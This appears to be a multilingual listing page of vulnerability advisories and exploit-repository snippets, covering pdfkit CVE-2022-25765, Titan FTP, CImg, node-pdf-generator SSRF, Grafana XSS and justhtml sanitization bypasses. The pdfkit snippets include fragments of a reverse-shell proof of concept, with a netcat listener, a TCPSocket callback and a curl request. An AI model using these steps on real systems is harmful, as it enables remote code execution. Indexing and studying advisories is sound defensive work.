PDFkit-CMD-Injection

PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 명령 삽입command injection. pdfkit 패키지는 URL이 제대로 삭제sanitize되지 않아 명령 삽입Command Injection에 취약합니다. 참고: 이 문제는 0.8.7.2에서 패치되었지만, 해당 패치는 효과가 없는 것으로 밝혀졌습니다. 업데이트된 패치 버전은 0.8.7.2입니다. PoC HTTP 서버 시작 python3 -m http.server 80 netcat 리스너 시작 nc -nlvp 4444 CURL로 요청...

Sooty

개요 Sooty는 SOC 분석가의 작업 흐름 일부를 자동화하는 데 도움을 주기 위해 개발된 도구입니다. Sooty의 목표 중 하나는 가능한 많은 일상적인 점검을 수행하여 분석가가 동일한 시간 내에 더 깊은 분석에 더 많은 시간을 할애할 수 있도록 하는 것입니다. Sooty의 여러 기능에 대한 자세한 내용은 아래에서 확인할 수 있습니다. Sooty는 이제 Tines.com의 자랑스러운 후원을 받고 있습니다! 기업 보안 팀을 위한 SOAR 플랫폼입니다. 목차 현재 기능 요구 사항 및 설치 개발 변경 로그 로드맵 기여자 현재...

exploit-CVE-2022-25765

CVE-2022-25765 pdfkit용 익스플로잇 - 명령 삽입 이 저장소가 마음에 드시나요? ⭐를 남겨주세요! 교육 및 승인된 보안 연구 목적으로만 사용하십시오. 익스플로잇 저자 @UNICORDev 제작 @NicPWNs 및 @Dev-Yeoj 취약점 설명 pdfkit 패키지0.0.0부터는 URL이 제대로 삭제샌니타이즈되지 않아 명령 삽입Command Injection에 취약합니다. 익스플로잇 설명 루비 젬 pdfkit은 웹사이트 또는 HTML을 PDF 문서로 변환하는 데 일반적으로 사용됩니다. 이 소프트웨어의 취약한 버전...

CVE-2022-44215

はじめに Titan FTP Webサーバーに影響を及ぼす新しい脆弱性が発見され、CVE-2022-44215として登録されました。Titan FTPは、 South River Technologiesが作成した商用ソフトウェアであり、ファイル共有のためにFTPプロトコルを 実装しています。HTTPSバージョン19.X以前では、オープンリダイレクトの脆弱性があることが証明されています。 説明 オープンリダイレクトの脆弱性は、サーバーがユーザーの入力を正しくサニタイズしないことに起因します。したがって、...

CVE-2019-1010174

CVE-2019-1010174 CImg Library v.2.3.3 - 명령 주입 CVE-2019-1010174 상세 수정됨 이 취약점은 NVD에 의해 마지막으로 분석된 이후 수정되었습니다. 재분석을 기다리고 있으며, 이로 인해 제공된 정보에 추가 변경이 있을 수 있습니다. 설명 CImg The CImg Library v.2.3.3 및 이전 버전은 명령 주입에 영향을 받습니다. 영향: RCE. 구성 요소: loadnetwork 함수. 공격 벡터: 사용자가 제어할 수 있는 URL에서 이미지를 로드하면 명령 주입이 발생할 수...

node-pdf-generator-ssrf

CVE-2020-7740 이 문제는 node-pdf-generator 패키지의 모든 버전에 영향을 미칩니다. node-pdf-generator에 제공되는 콘텐츠에 대한 사용자 입력 검증 및 살균sanitization이 부족하기 때문에, 공격자가 악성 URL을 조작하여 외부 서버로 전달되도록 함으로써 SSRF 공격을 가능하게 할 수 있습니다. 출처 Docker로 빠른 시작 1. 다음 명령어로 컨테이너를 빌드합니다. 2. docker run -p 3000:3000 cve-2020-7740 명령어로 컨테이너를 실행합니다. 3...

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell

CVE-2022-25765-pdfkit-Exploit-Reverse-Shell pdfkit TCPSocket.new"LOCAL-IP",LOCAL-LISTEN-PORT' CURL을 통해 굵게 표시된 값 수정: curl 'TARGET-URL ' -X POST -H 'User-Agent: Mozilla/5.0 X11; Linux x8664; rv:102.0 Gecko/20100101 Firefox/102.0' -H 'Accept:...

Fedora 45 : cockpit (2026-d375ea9e79)

The remote Fedora 45 host has a package installed that is affected by multiple vulnerabilities as referenced in the FEDORA-2026-d375ea9e79 advisory. Automatic update for cockpit-368-1.fc45. Changelog for cockpit Wed Sep 23 2026 Packit - 368-1 - Limit concurrent connections CVE-2026-91149 - Harden...

VulnCheck KEV: CVE-2026-41948

Dify version 1.14.1 and prior contain a path traversal vulnerability that allows authenticated users to manipulate requests forwarded to the Plugin Daemon's internal REST API by exploiting insufficient URL path sanitization. Attackers can traverse out of their authorized tenant path using unencod...

Plate: Media embed provider metadata can bypass URL sanitization and execute iframe JavaScript

Summary The media embed renderer trusts serialized provider or sourceUrl metadata and skips the URL protocol validation that normally blocks unsafe media embed URLs. A crafted Plate document can set a known video provider while keeping url as a javascript: iframe source. When a victim opens that...

GHSA-QJ6X-XX2H-8HVV Plate: Media embed provider metadata can bypass URL sanitization and execute iframe JavaScript

Summary The media embed renderer trusts serialized provider or sourceUrl metadata and skips the URL protocol validation that normally blocks unsafe media embed URLs. A crafted Plate document can set a known video provider while keeping url as a javascript: iframe source. When a victim opens that...

CVE-2026-17033

Grafana OSS is vulnerable to a stored cross-site scripting (XSS) flaw in how it handles external Alertmanager alerts. An authenticated attacker with Editor access or alert.instances.external:write can submit an alert containing a crafted generatorURL field. Grafana renders this value directly as ...

EUVD-2026-64887

An authenticated attacker with Editor access or alert.instances.external:write can submit an external Alertmanager alert containing a controlled generatorURL. The attacker is authorized to create the alert, but not to execute script in another user's Grafana session. Grafana renders...

CVE-2026-5388

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388 justhtml before 1.15.0 Multiple Security Issues

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388 justhtml before 1.15.0 Multiple Security Issues

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388 justhtml before 1.15.0 Multiple Security Issues

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

EUVD-2026-64652

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers cleanurlvalue/cleanurlinjsstring, HTML serialization, Markdown passthrough htmlpassthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass sanitization ...

CVE-2026-5388

justhtml (Python HTML sanitizer library) before 1.15.0 contains multiple sanitization bypass vulnerabilities across URL sanitization helpers, HTML serialization, Markdown passthrough, and custom policy edge cases. Attackers can inject active HTML and JavaScript via vectors such as encoded javascr...

PT-2026-79769

justhtml before 1.15.0 contains multiple security issues in URL sanitization helpers clean url value/clean url in js string, HTML serialization, Markdown passthrough html passthrough=True, and several custom sanitization-policy edge cases. Depending on configuration, an attacker can bypass...